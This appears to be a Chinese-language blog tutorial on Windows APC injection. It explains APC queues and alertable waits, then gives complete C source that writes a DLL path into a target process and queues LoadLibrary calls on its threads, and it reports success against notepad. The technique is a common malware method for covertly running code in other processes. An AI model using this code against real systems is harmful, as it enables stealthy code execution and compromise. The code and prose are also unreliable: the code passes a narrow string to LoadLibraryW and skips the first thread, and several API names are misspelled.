APC简介
APC(Asynchronous Procedure Calls,异步过程调用)
每个线程都有一个自己的APC队列,可以使用**QueueUserAPC**
把一个APC插入到线程APC队列中。当线程处于可警醒状态时,线程会执行APC队列中的APC函数。
线程创建后
系统会在调用线程函数时检查APC队列,如果不为空,那么就会调用APC队列中的APC函数,直到队列为空后才会调用线程函数。(线程通过调用**SleepEx、SignalObjectAdndWait、WaitForSingleObjectEx、WaitForMultioleObjectsEx**
等函数挂起时(即进入[alertable
]可惊醒状态时),
会先检查APC队列,如果不为空,则调用APC队列中的APC函数,直到队列为空后才会开始等待要等待的对象。)
执行顺序以普通队列相同
先进先出(FIFO)。在整改执行过程中,线程并不会有任何异常举动,不易被差距,但是缺点是对于单线程程序一般不会存在挂起状态,所以APC注入不会对该类程序有明显效果。
由内核产生的APC称为内核态(kernel-mode)APC,用户应用调用的APC称为用户态(user-mode)APC。
APC注入
QueueUserAPC函数
将用户模式异步过程调用(APC)对象添加到指定线程的APC队列
1 2 3 4 5
| DWORD QueueUserAPC( PAPCFUNC pfnAPC, HANDLE hThread, ULONG_PTR dwData );
|
APC注入具体流程
- 通过OpenProcess函数打开目标进程,获取目标进程句柄.
- 使用VirtualAllocEx在目标进程申请一块内存,然后通过WriteProcessMemory函数向内存中写入dll路径.
- 调用WIN32API函数CreateToolhelp32Snapshot、Thread32First、Thread32Next遍历线程快照,获取目标进程的所有线程ID.
- 遍历进程ID,调用OpenThread函数及THREAD_ALL_ACCESS访问权限打开线程,获取线程句柄。并调用QueueThread函数向线程插入APC函数,设置APC函数的地址为Loadlibrary函数的地址,并设置APC函数参数为上述DLL路径地址.
- 最后关闭句柄.
实现代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| #include <Windows.h> #include <TlHelp32.h> #include <stdio.h>
void ApcInjectDll(DWORD pid, char* dllname) { int len = strlen(dllname) + 1;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (NULL == hProcess) { return; } PVOID dllNameAddr = VirtualAllocEx(hProcess, NULL, len, MEM_COMMIT, PAGE_READWRITE); if (dllNameAddr == NULL) { CloseHandle(hProcess); return; } WriteProcessMemory(hProcess, dllNameAddr, dllname, len, 0); CloseHandle(hProcess);
THREADENTRY32 te = { 0 }; te.dwSize = sizeof(THREADENTRY32);
HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (handle == INVALID_HANDLE_VALUE) { CloseHandle(hProcess); return; } FARPROC funAddr = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryW");
Thread32First(handle, &te); while (Thread32Next(handle, &te)) { if (te.th32OwnerProcessID == pid) { HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID); if (hThread) { QueueUserAPC((PAPCFUNC)funAddr, hThread, dllNameAddr); CloseHandle(hThread); } } } CloseHandle(handle); }
void main(int argc, char* argv[]) {
if (argc != 2) { printf("请输入pid"); return; } int pid = atol(argv[1]); ApcInjectDll(pid, "C:\\Users\\test\\Desktop\\hookdll.dll"); }
|
在notepad中 使用64位注入成功
img
References
https://www.cnblogs.com/nice0e3/p/15318330.html
https://www.cnblogs.com/iBinary/p/7574055.html
https://zhuanlan.zhihu.com/p/145644574
https://www.cnblogs.com/PeterZ1997/p/10584557.html